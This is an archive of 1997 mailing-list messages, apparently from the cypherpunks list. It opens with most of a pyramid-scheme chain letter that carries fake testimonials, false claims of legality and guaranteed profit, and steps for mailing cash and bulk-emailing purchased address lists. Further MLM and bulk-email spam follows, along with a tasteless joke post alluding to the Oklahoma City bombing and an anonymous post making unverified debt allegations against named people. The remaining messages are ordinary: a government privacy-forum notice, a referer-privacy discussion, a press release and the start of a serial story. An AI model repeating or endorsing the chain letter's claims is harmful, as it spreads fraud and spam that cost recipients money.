> but I promised myself that I would not "rip-off" anyone, no matter how
> much money it cost me!
> 
> A couple of good programs to help do this are Ready Aim Fire, an email
> extracting program @ http://microsyssolutions.com/raf/  and  Cyberpromotions
> who has a pop3 ISP account specifically for direct emailing at
> http://www.cyberpromo.com
> 
> In less than one week, I was starting to receive orders for REPORT #1.
> By January 13th, I had received 26 orders for REPORT #1.  When you read
> the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 
> TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  
> SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
> $50,000 in 20 to 90 days was done.  By January 30th, I had received 
> 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU 
> MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN 
> TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  
> ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
> WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
> 96 more than I needed.  So I sat back and relaxed.  By March 19th, of
> my mailing of 10,000, I received $58,000 with more coming in every
> day.
> 
> I paid off  ALL my debts and bought a much needed new car.  Please take
> time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
> Remember,  it wont work  if you don't try it.  This program does work,
> but you must follow it EXACTLY!  Especially the rules of not trying to
> place your name in a different place.  It doesn't work, you'll lose out
> on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
> guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
> REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
> LIVING PROOF THAT IT WORKS !!!
> 
> If you choose not to participate in this program, I'm sorry.  It really
> is a great opportunity with little cost or risk to you.  If you choose
> to participate, follow the program and you will be on your way to
> financial security.
> 
> If you are a fellow business owner and you are in financial trouble
> like I was, or you want to start your own business, consider this a
> sign.  I DID!
> 
> 					Sincerely,
> 					Christopher Erickson
> 
> PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
> up on a kitchen table? IT'S AWESOME!
> 
> "THREW IT AWAY"
> 
> "I  had  received  this program before.  I  threw  it away, but later
> wondered if I shouldn't have given it a try.  Of course, I had no idea
> who to contact to get a copy, so I had to wait until I was emailed
> another copy of the program.  Eleven months passed, then it came.  I
> DIDN'T throw this one away.  I made $41,000 on the first try."
> 
> 					Dawn W., Evansville, IN
> 
> "NO FREE LUNCH"
> 
> "My late father always told me, 'remember, Alan, there is no free lunch
> in life.  You get out of life what you put into it.'  Through trial and
> error and a somewhat slow frustrating start, I finally figured it out.
> The program works very well, I just had to find the right target group
> of people to email it to.  So far this year, I have made over $63,000
> using this program.  I know my dad would have been very proud of me."
> 
> 					Alan B., Philadelphia, PA
> 
> A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
> 
> By the time you have read the enclosed information and looked over the
> enclosed program and reports, you should have concluded that such a
> program,  and  one that is legal,  could not have been created by an
> amateur.
> 
> Let me tell you a little about myself.  I had a profitable business for
> ten years.  Then in 1979 my business began falling off.  I was doing
> the same things that were previously successful for me, but it wasn't
> working.  Finally, I figured it out.  It wasn't me, it was the economy.
> Inflation and recession had replaced the stable economy that had been
> with us since 1945.  I don't have to tell you what happened to the
> unemployment rate...because many of you know from first hand experience.
> There were more failures and bankruptcies than ever before.
> 
> The middle class was vanishing.  Those who knew what they were doing
> invested wisely and moved up.  Those who did not, including those who
> never had anything to save or invest, were moving down into the ranks
> of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET
> POORER."  The traditional methods of making money will never allow you
> to "move up" or "get rich", inflation will see to that.
> 
> You have just received information that can give you financial freedom
> for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
> EFFORT."  You can make more money in the next few months than you have
> ever imagined.
> 
> I should also point out that I will not see a penny of your money, nor
> anyone else who has provided a testimonial for this program.  I have
> already made over FOUR MILLION DOLLARS!  I have retired from the
> program after sending out over 16,000 programs.  Now I have several
> offices which market this and several other programs here in the US and
> overseas.  By the Spring, we wish to market the 'Internet' by a
> partnership with AMERICA ON LINE.
> 
> Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.
> It works exceedingly well as it is now.  Remember to email a copy of
> this exciting program to everyone that you can think of.  One of the
> people you send this to may send out 50,000...and your name will be on
> every one of them!.  Remember though, the more you send out, the more
> potential customers you will reach.
> 
> So my friend, I have given you the ideas, information, materials and
> opportunity to become financially independent, IT IS UP TO YOU NOW!
> 
> "THINK ABOUT IT"
> 
> Before you delete this program from your mailbox, as I almost did, take
> a little time to read it and REALLY THINK ABOUT IT.  Get a pencil and
> figure out what could happen when YOU participate.  Figure out the
> worst possible response and no matter how you calculate it, you will
> still make a lot of money!  Definitely get back what you invested.  Any
> doubts you have will vanish when your first orders come in.  IT WORKS!
> 
> 					Paul Johnson, Raleigh, NC
> 
> HERE'S HOW THIS AMAZING PROGRAM WILL MAKE YOU $$$$$$
> 
> Let's say that you decide to start small, just to see how it goes, and
> we'll assume you and all those involved send out 2,000 programs each.
> Let's also assume that the mailing receives a .5% response.  Using a
> good list the response could be much better.  Also many people will
> send out hundreds of thousands of programs instead of 2,000.  But
> continuing with this example, you send out only 2,000 programs.  With a
> 5% response, that is only 10 orders for REPORT #1.  Those 10 people
> respond by sending out 2,000 programs each for a total of 20,000.  Out
> of those .5%, 100 people respond and order REPORT #2.  Those 100 mail
> out 2,000 programs each for a total of 200,000.  The .5% response to
> that is 1,000 orders for REPORT #3.  Those 1,000 send out 2,000
> programs each for a 2,000,000 total.  The .5% response to that is
> 10,000 orders for REPORT #4.  That's 10,000 five dollar bills for you.
> CASH!!!!  Your total income in this example is $50 + $500 + $5000 +
> $50,000 for a total of $55,550!!!!
> 
> REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU 
> MAIL TO WILL DO ABSOLUTELY NOTHING... AND TRASH THIS PROGRAM!  
> DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE 
> OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000.  Believe 
> me, many people will do that and more!  By the way, your cost to participate 
> in this is practically nothing.  You obviously already have an internet
> connection 
> and email is FREE!!!  REPORT#3 will show you the best methods for bulk
> emailing
> and purchasing email lists.
> 
> THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not
> require you to come in contact with people, do any hard work, and best
> of all, you never have to leave the house except to get the mail.  If
> you believe that someday you'll get that big break that you've been
> waiting for, THIS IS IT!  Simply follow the instructions, and your
> dream will come true.  This multi-level email order marketing program
> works perfectly...100% EVERY TIME.  Email is the sales tool of the
> future.  Take advantage of this non-commercialized method of
> advertising NOW!!  The longer you wait, the more people will be doing
> business using email.  Get your piece of this action!!
> 
> MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is
> being taught in the Harvard Business School, and both Stanford Research
> and The Wall Street Journal have stated that between 50% and 65% of all
> goods and services will be sold throughout Multi-level Methods by the
> mid to late 1990's.  This is a Multi-Billion Dollar industry and of the
> 500,000 millionaires in the US, 20% (100,000) made their fortune in the
> last several years in MLM.  Moreover, statistics show 45 people become
> millionaires everyday through Multi-Level Marketing.
> 
> INSTRUCTIONS
> 
> We at Erris Mail Order Marketing Business, have a method of raising
> capital that REALLY WORKS 100% EVERY TIME.  I am sure that you could
> use $50,000 to $125,000 in the next 20 to 90 days.  Before you say
> "Bull", please read the program carefully.
> 
> This is not a chain letter, but a perfectly legal money making
> opportunity.  Basically, this is what we do:  As with all multi-level
> business, we build our business by recruiting new partners and selling
> our products.  Every state in the USA allows you to recruit new multi-
> level business partners, and we offer a product for EVERY dollar sent.
> YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not
> involved in personal selling.  You do it privately in your own home,
> store or office.
> 
> This is the GREATEST Multi-level Mail Order Marketing anywhere:
> 
> Step (1)   Order all four 4 REPORTS listed by NAME AND NUMBER.  Do this
>            by ordering the REPORT from each of the four 4 names listed
>            on the next page.  For each REPORT, send $5 CASH and a SELF-
>            ADDRESSED, STAMPED envelope  (BUSINESS SIZE #10) to the
>            person listed for the SPECIFIC REPORT.  International orders
>            should also include $1 extra for postage.  It is essential
>            that you specify the NAME and NUMBER of the report requested
>            to the person you are ordering from.  You will need ALL FOUR
>            4 REPORTS because you will be REPRINTING and RESELLING them.
>            DO NOT alter the names or sequence other than what the
>            instructions say.  IMPORTANT:  Always provide same-day
>            service on all orders.
> 
> Step (2)   Replace  the  name  and  address  under  REPORT #1  with
>            yours,  moving the one that was there down to REPORT #2.
>            Drop  the  name and address under REPORT #2 to REPORT #3,
>            moving the one that was there to REPORT #4.  The name and
>            address that was under REPORT #4 is dropped from the list
>            and this party  is  no doubt on the way to the bank.  When
>            doing   this,   make   certain   you  type  the  names  and
>            addresses ACCURATELY!  DO NOT MIX UP MOVING PRODUCT/REPORT
>            POSITIONS!!!
> 
> Step (3)   Having made the required changes in the NAME list, save it
>            as a text (.txt) file in it's own directory to be used with
>            whatever email program you like.  Again, REPORT #3 will tell
>            you the best methods of bulk emailing and acquiring email
>            lists.
> 
> Step (4)   Email a copy of the entire program (all of this is very
>            important) to everyone whose address you can get your hands
>            on. Start with friends and relatives since you can encourage
>            them to take  advantage of this  fabulous  money-making
>            opportunity.  That's what I did.  And they love me now, more
>            than ever.  Then, email to anyone and everyone!  Use your
>            imagination!  You can get email addresses from companies on
>            the internet who specialize in email mailing lists.  These
>            are very cheap, 100,000 addresses for around $35.00.
> 
> IMPORTANT:  You won't get a good response if you use an old list, so
> always request a FRESH, NEW list. You will find out where to purchase
> these lists when you order the four 4 REPORTS.
> 
> ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!
> 
> REQUIRED REPORTS
> 
> ***Order each REPORT by NUMBER and NAME***
> 
> ALWAYS SEND A SELF-ADDRESSED, STAMPED ENVELOPE
> AND $5 CASH FOR EACH ORDER REQUESTING THE
> SPECIFIC REPORT BY NAME AND NUMBER
> 
> ________________________________________________________
> REPORT #1
> "HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"
> 
> ORDER REPORT #1 FROM:
> 
> RWD&CO
> P.O. Box 2225
> Friday Harbor, WA   98250
> 
> ________________________________________________________
> REPORT #2
> "MAJOR CORPORATIONS AND MULTI-LEVEL SALES"
> 
> ORDER REPORT #2 FROM:
> 
> M.S.DEWLES DISTRIBUTOR	
> P.O.BOX 29322
> PARMA, OHIO 44129
> 
> 
> 
> ________________________________________________________
> REPORT#3
> "SOURCES FOR THE BEST MAILING LISTS"
> 
> ORDER REPORT #3 FROM:
> 
> DSN
> 7154 West State  #298
> Boise, ID  83703
> 
> 
> ___________________________________________
> REPORT #4
> "EVALUATING MULTI-LEVEL SALES PLANS"
> 
> ORDER REPORT #4 FROM:
> 
> WCH MARKETING
> 6225 RIPTIDE DRIVE
> WILMINGTON, N.C. 28403
> 
> 
> ________________________________________________________
> 
> CONCLUSION
> 
> .I am enjoying my fortune that I made by sending out this program.
> You too, will be making money in 20 to 90 days, if you follow the
> SIMPLE STEPS outlined in this mailing.
> 
> To be financially independent is to be FREE.  Free to make financial
> decisions as never before.  Go into business, get into investments,
> 
> retire or take a vacation.  No longer will a lack of money hold you
> back.
> 
> However, very few people reach financial independence, because when
> opportunity knocks, they choose to ignore it.  It is much easier to say
> "NO" than "YES", and this is the question that you must answer.  Will
> YOU ignore this amazing opportunity or will you take advantage of it?
> If you do nothing, you have indeed missed something and nothing will
> change.  Please re-read this material, this is a special opportunity.
> If you have any questions, please feel free to write to the sender of
> this information.  You will get a prompt and informative reply.
> 
> My method is simple.  I sell thousands of people a product for $5 that
> costs me pennies to produce and email.  I should also point out that
> this program is legal and everyone who participates WILL make money.
> This is not a chain letter or pyramid scam.  At times you have probably
> received chain letters, asking you to send money, on faith, but getting
> NOTHING in return, NO product what-so-ever!  Not only are chain letters
> illegal, but the risk of someone breaking the chain makes them quite
> unattractive.
> 
> You are offering a legitimate product to your people.  After they
> purchase the product from you, they reproduce more and resell them.
> It's simple free enterprise.  As you learned from the enclosed material,
> the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS REPORTS.  The
> information contained in these REPORTS will not only help you in making
> your participation in this program more rewarding, but will be useful
> to you in any other business decisions you make in the years ahead.
> You are also buying the rights to reprint all of the REPORTS, which
> will be ordered from you by those to whom you mail this program.  The
> concise one and two page REPORTS you will be buying can easily be
> reproduced at a local copy center for a cost off about 3 cents a copy.
> Best wishes with the program and Good Luck!
> 
> "IT WAS TRULY AMAZING"
> 
> "Not being the gambling type, it took me several weeks to make up my
> mind to participate in this program.  But conservative as I am, I
> decided that the initial investment was so little that there was no way
> that I could not get enough orders to at least get my money back.  BOY,
> was I ever surprised when I found my medium sized post office box
> crammed with orders!  I will make more money this year than any ten
> years of my life before."
> 
> 					Mary Riceland, Lansing, MI
> 
> TIPS FOR SUCCESS
> 
> Send for your four 4 REPORTS immediately so you will have them when the
> orders start coming in.  When you receive a $5 order, you MUST send out
> the product/service to comply with US Postal and Lottery laws.  Title
> 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR
> SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."
> 
> WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:
> 
> 1.	Name your new company. You can use your own name if you desire.
> 
> 2.	Get a post office box (preferred).
> 
> 3.	Edit the names and addresses on the program. You must remember,
>         your name and address go next to REPORT #1 and the others all
>         move down one, with the fourth one being bumped OFF the list.
> 
> 4.	Obtain as many email addresses as possible to send until you
>         receive the information on mailing list companies in REPORT #3.
> 
> 5.	Decide on the number of programs you intend to send out.  The
>         more you send, and the quicker you send them, the more money
>         you will make.
> 
> 6.	After mailing the programs, get ready to fill the orders.
> 
> 7.	Copy the four 4 REPORTS so you are able to sent them out as
>         soon as you receive an order. IMPORTANT: ALWAYS PROVIDE
>         SAME-DAY SERVICE ON ORDERS YOU RECEIVE!
> 
> 8.	Make certain the letter and reports are neat and legible.
> 
> YOUR GUARANTEE
> 
> The check point which GUARANTEES your success is simply this:  you must
> receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't
> within two weeks, email out more programs until you do.  Then a couple
> of weeks later you should receive at least 100 orders for REPORT #2, if
> you don't, send out more programs until you do.  Once you have received
> 100 or more orders for REPORT #2, (take a deep breath) you can sit back
> and  relax,  because  YOU  ARE  GOING TO  MAKE  AT  LEAST  $50,000.
> Mathematically  it  is  a  proven  guarantee.   Of  those  who  have
> participated in the program and reached the above GUARANTEES-ALL have
> reached their $50,000 goal.  Also, remember, every time your name is
> moved down the list you are in front of a different REPORT, so you can
> keep track of your program by knowing what people are ordering from you.
> IT'S THAT EASY, REALLY, IT IS!!!
> 
> REMEMBER:
> "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."
> "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR
> SEARCH FOR IT FOR THE REST OF YOUR LIFE."
> 
> 
>  
> This message was sent using an evaluation version of WWMail
> WWMail is available at: http://wizardware.com
> 
> 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim McVeigh <boom@okc.fed>
Date: Sat, 19 Apr 1997 04:12:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <199704191109.FAA01950@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



         *** BOOM ***





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Denver <johnd@rckymtn.hi>
Date: Sat, 19 Apr 1997 04:28:04 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Thanks for your support.
Message-ID: <199704191125.FAA02035@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Cypherpunks,
  I'd like to thank my many fans on the list for their support for my
latest album. You've been great.

  Sorry I can't take time to chat, but I've got to get out to the ranch
and deliver some supplies for spring planting.
  My truck broke down this morning, so I had to rent one. I've got to
pick up some fertilizer for the fields, and diesel fuel for the 
tractors.
  I've also got to stop by the Federal Building in Denver and drop off
the money order for that traffic ticket I got last week, so I've got
to run.

John Denver





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: do@not.reply.com
Date: Fri, 18 Apr 1997 18:06:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Diamond K
Message-ID: <RAF1.1_19/04/97 09:06:27_cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi
	Can any company guarantee you success?  WE CAN!!! Find out how 97% who
fail with MLMs can make money with our TEAM!  You can earn income from 12
MLM companies without having to sponsor anyone into those companies, all
for the price of a dinner.  You will have the products paid by our team! 
Every member is guaranteed to succeed!  Experience the power of Diamond K
Success Teams Inc. 
(Information on free webpage included in form located at
http://www.soos.com/diamondk/brian.html) 
	Ever joined those MLMs which seem to pay the company and not you?
	Tired of recruiting just to make profits?
	Then take a look at this company ---->

			No Monthly fees to pay
			No monthly quotas to meet
			One time US$25.00 enrollment fee gets you into the 12 companies
			Benefit from Spillover
			No recruiting required unless you want to
			No need to sponsor large numbers of people to be in profit
			Be in profit just sponsoring 4 people
Only 3 requirements
	1) US$25.00 for the first year
	2) Complete level 1 with 4 members in you downline ----> generated from
spillover
	3) US$99.00 for the second year for 120MLM leads which come out from your
profits

if you have any question contact me at spawn@rocketmail.com
 
If you would like to join please obtain registration form from
http://www.soos.com/diamondk/brian.html

Information on free webpage is included inform 

PS thanks for reading this message, I'm currently looking for a bank where
the interest rate is high about      20% I've sent for the information and
will gladly share it with you 
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*********************************************************
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*********************************************************

Diamond K   unlimited@post1.com
set your browser to this site now  and make $$$$ tomorrow





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 19 Apr 1997 06:29:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Social Security Public Forums
Message-ID: <v0302098daf7e768fceb4@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


From: john.t.sabo@ssa.gov
Date: Thu, 17 Apr 97 18:30:41 -0500
To: members@lists.Commerce.Net
MMDF-Warning:  Parse error in original version of preceding line at
lists.Commerce.Net
Cc: john.t.sabo@s3abac8.ns1.barrnet.net
MMDF-Warning:  Parse error in original version of preceding line at
lists.Commerce.Net
Subject: Social Security Public Forums
Mime-Version: 1.0
Sender: members-owner@ssa.gov
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  members@lists.commerce.net
+----------------------------------------------------------------------+


     Fellow Commercenet Members:

     I wanted to make you and your companies aware of an important series
     of six National Forums that the Social Security Administration will be
     conducting throughout the country beginning May 5 through the week of
     June 9, in which SSA will seek public input and expert advice about
     the appropriate customer authentication and privacy safeguards needed
     to support SSA's Internet transaction services and ensure public
     trust.

     The forums are in response to the media and public concerns raised
     about our test of Interactive PEBES, which allowed individuals to
     request a Personal Earnings and Benefit Estimate Statement from SSA
     online and receive the response online, rather than via the mail,
     after providing five knowledge-based customer authenticating elements.
     The initial concerns were centered about the use of the five elements,
     but media attention soon extended to a range of intermingled Internet
     and security concerns.  As a result, we suspended the test and
     announced a 60-day period of expert and public input on this important
     public policy issue.

     We invite interested CommerceNet members to consider participating in
     the forums and offering your expert opinion to the government.  I'm
     including current information about the forums, and expect to have
     more details shortly.  I'll be contacting members I know who have
     expressed interest in providing input, but would welcome hearing from
     other companies who would like to participate in informed public
     discussion and public education.

     John Sabo
     Social Security Administration
     ---------------------------------------------------------------------


Social Security
National Forum on Internet Services -- Backgrounder

We are seeking expert opinion regarding a major public policy issue facing the
Social Security Administration: the appropriate privacy, system security and
other safeguards necessary for SSA to provide transaction services on the
Internet with strong public confidence.

You may be aware that, in response to public concerns raised about our test of
the Interactive Personal Earnings and Benefit Estimate Statement (Interactive
PEBES) service on the Internet, SSA suspended the test and announced that we
would seek public input on the design of the system, particularly with respect
to the authentication and privacy policies and system safeguards necessary to
ensure public confidence in Interactive PEBES and in future Internet services
planned by SSA.

To do this, we have scheduled a series of public forums in Hartford (May
5), Des
 Moines (week of May 12), Atlanta (week of May 19), San Jose (week of May 26),
Austin (week of June 2), and Washington D.C. (week of June 9).  We also
plan to
schedule an Internet Town Meeting on our Website, www.ssa.gov.

The forums will address important national issues which reach far beyond our
test of the Interactive PEBES.  The safeguarding of individual privacy -- as
technology removes barriers to accessing confidential information -- and the
public's understanding of and trust in using the Internet both for secure,
confidential government services and business and financial services are the
core critical issues.  That is why your input is so important.

We are now identifying interested individuals and organizations who wish to
participate on panels at each of the six public forum locations.  Although we
are unable to provide compensation for your participation, we also invite
comments in writing or via email if you cannot attend a forum in person.

We envision three 1 1/4 -hour panels of  5 people expert in these broad areas:
Privacy, Systems Security and  the Business/Financial Internet community.
There
will also be open sessions where members of the public may register to speak.

However you or your company may choose to participate,  I urge you to consider
offering us your thoughtful input into this important national discussion.













-------------------------------------------------------------------------
This message was sent by a majordomo-based automatic list manager.
Subscriptions to and archives of this list are available to CommerceNet
members, partners, and invited guests.  For further information send a
mail message to 'members-request@lists.commerce.net' with 'help'
(no quotations) contained in the body of your message.

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sat, 19 Apr 1997 07:38:49 -0700 (PDT)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
Message-ID: <199704191434.JAA01685@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



	I'm suprosed no one has suggested paying people for
advertising.  If the Netscape folks would integrate digicash into
Communicator, then I could program my browser to only send referer to
sites that paid for the information, and rent cookie space.  Want your
cookie to live till 1999?  Thats 24 months, at 50 cents per month...do
you want to pay?

	These tools would allow users to set a value on their privacy,
and get the money from advertisers.  I know nothing encourages me to
buy a product like getting cold hard cash from the maker.

Adam

Bill Stewart wrote:

| >Of course there should be a toggle to allow users to turn off the 
| >referer field. I tried to get a recomendation to do this put into the
| >spec. People then started shouting at me saying that it was impossible
| >to enforce and so the recomendation shouldn't be there. 
| 
| Perhaps too much commercial advertising capability already depended on it?



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joe@washerezy.net
Date: Sat, 19 Apr 1997 13:40:30 -0700 (PDT)
To: linda@washerezy.com
Subject: 6 Million Addresses FREE!
Message-ID: <199704192037.NAA22453@denmark.it.earthlink.net>
MIME-Version: 1.0
Content-Type: text/plain


Friendly Bulk Email Web Space + 6 Million Addresses FREE!
Only $29.95 per month!

http://www.mary-world.com/webspace/




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 13:22:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
Message-ID: <199704192022.NAA20494@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


List members,

Shut the hell up already; I wrote it, and it's OK for anyone to repost it.

Just attribute it to me.

Anonymous




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve <steve@edmweb.com>
Date: Sat, 19 Apr 1997 13:39:24 -0700 (PDT)
To: Adam Shostack <adam@homeport.org>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704191434.JAA01685@homeport.org>
Message-ID: <199704192038.NAA19881@kirk.edmweb.com>
MIME-Version: 1.0
Content-Type: text/plain


> If the Netscape folks would integrate digicash into Communicator,
> then I could program my browser to only send referer to sites that
> paid for the information, and rent cookie space.  Want your cookie to
> live till 1999?  Thats 24 months, at 50 cents per month...do you want
> to pay?

That would only work until someone abuses it. People could create web
robots to run around selling referers and several gigabytes of
worthless cookie space. Worthless, because nobody cares about the web
browsing habits of J. Random Robot, and they certainly don't want to
blow $50 e-bucks on the bot's repeated visits.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 19 Apr 1997 13:49:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: COMMERCE VISIONARY ERIC HUGHES TEAMS WITH FINANCE EXEC AND TECHNOLOGY ARCHITECT TO FORM TRANSACTION TECHNOLOGY COMPANY, SIMPLE ACCESS
Message-ID: <199704192049.NAA21352@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Looks like Hughes and Hilby have found some fresh meat.

Given sac.net is currently in collection on nearly $100k (plus or minus
lawyers' and collectors' fees) to former suppliers, contractors, and
employees, it seems the greater fool theory of internet commerce is alive
and well. 

Hope the new boys are holding on to their wallets. And their nuts.

ReputationMunger

---------



   Media contact: Melody Kean Haller, Antenna Group, 415-896-1800,
   melody@antennapr.com
   
   COMMERCE VISIONARY ERIC HUGHES TEAMS WITH FINANCE EXEC AND TECHNOLOGY
   ARCHITECT TO FORM TRANSACTION TECHNOLOGY COMPANY, SIMPLE ACCESS
   
   San Francisco, CA -- March 24, 1997. The limits to growth facing
   today's commercial transaction systems are fundamental and
   unavoidable. Current architectures are not able to handle the
   complexity and auditing requirements of tomorrow, according to
   cryptographer, commerce visionary, and cypherpunks founder Eric
   Hughes.
   
   The solution is to build airtight accountability into the system from
   the start, according to Hughes, who has developed an infrastructure
   design methodology that solves this and several other crucial
   electronic commerce problems. Hughes today announced that he has
   formed a company, Simple Access, to build the next generation of
   transaction systems. He also announced two key additions to the
   executive team.
   
   John McArtor, currently President and CEO of Delta International,
   Inc., a private merchant bank, will lead Simple Access as chief
   executive officer. Dwight Koop, formerly executive vice-president of
   technology for Swiss Bank, will direct project development. Eric
   Hughes will continue as chief technology officer.
   
   "Eric Hughes has a deep and compelling vision of the future of
   electronic commerce," said Jerry Michalski, managing editor of Esther
   Dyson's monthly report, Release 1.0. "He understands the science of
   the Internet and security technologies, has insight into the systemic
   flow of commerce, and is informed by an overview of the
   socio-political history of money. The methodology he is proposing aims
   to enable a future in which transactions are undeniably clear.
   Anything Eric puts his energy into is worth paying attention to."
   
   Hughes said, "Currently, 'electronic commerce' is a euphemism for
   'commerce that doesn't work,' or soon won't work on a large scale. In
   order to prevent disasters on the horizon and build a foundation for
   safer and better systems, Simple Access is thinking ahead and solving
   problems at the infrastructure level."
   
   "We are working with leading companies that require their suppliers to
   have solid and experienced managers, so we brought on proven leaders,"
   Hughes continued. "McArtor and Koop meet and exceed those criteria."
   
   "With my 25 years of commercial and investment banking experience,
   I've worked with a lot of bright technologists, and these are some of
   the best," said CEO John McArtor. "I jumped at the opportunity to join
   them. The development team at Simple Access has an intimate knowledge
   of real-world business problems. They are addressing issues at the
   core of domestic and international finance, issues that are very
   important to me."
   
   Simple Access' Director of Software Development, Dwight Koop, said,
   "The technologies we are developing will address serious and immediate
   problems of large-scale commerce. These are elegant designs which can
   be applied especially well in high-stakes transaction systems to
   assure an unprecedented level of accountability, auditability and
   efficiency."
   
   Simple Access is in late-stage negotiations with several strategically
   chosen Fortune 100 companies in different realms of commerce. The
   company is now developing custom solutions, building on the widely
   usable transaction methodology that Hughes has developed. The
   company's current efforts include telephony and Internet provisioning
   and billing, international trade documents, and digital money.
   
   Eric Hughes is a cryptographer and an expert on payment systems and
   commercial interaction. He has consulted to banks, software companies,
   and payment processing firms, and frequently speaks on the subjects of
   security, digital money, and payment systems. He is also renowned as
   the co-founder of the cypherpunks. Hughes authored "A Long Term
   Perspective on Electronic Commerce," which comprised the March 1995
   issue of Release 1.0.
   
   John W. McArtor is president and CEO of Delta International, Inc., a
   private merchant bank engaged in the business of creative corporate
   finance and capital management. Since 1972, Delta International has
   been designing, structuring, syndicating, and managing financial
   vehicles for private sector investment. McArtor's areas of expertise
   include the management of capital in domestic and global futures
   markets, and the creation of venture capital for the
   telecommunications industry.
   
   Dwight Koop was formerly executive vice-president of technology for
   Swiss Bank, one of the world's premier trading institutions. He will
   serve as acting director of software development with Simple Access,
   which will co-develop and co-market projects with New Logic, Inc.,
   where Koop is a principal and practice director of intra/Internet
   systems development. Koop has more than twenty years of solid
   management and consulting background in all aspects of technology,
   with special expertise in creating competitive advantage in the
   financial industry.
   
   Headquartered in San Francisco, California, Simple Access is a
   technology firm that designs and builds infrastructure for finance,
   commerce, security, telephony, and the Internet. Simple Access
   develops solutions to facilitate and simplify interaction at the
   infrastructure level. The company's areas of expertise include payment
   systems, data security, cryptography, and transaction processing. The
   privately held company was founded in 1995. Simple Access is located
   at One Sutter Street, Suite 500, San Francisco, California 94104. To
   reach the company, phone 415-392-0526, fax 415-986-8113 or send email
   to info@sac.net.
   
   For media information please contact Melody Kean Haller, Antenna
   Group, 415-896-1800, or melody@antennapr.com.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Sat, 19 Apr 1997 13:46:41 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WebWorld 36
Message-ID: <33592F61.2004@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


Cyphernomicon


Cron stood waiting at the entrance to the Council Chambers as
the limousine bearing the Cowboy pulled up to the curb. Two veteran
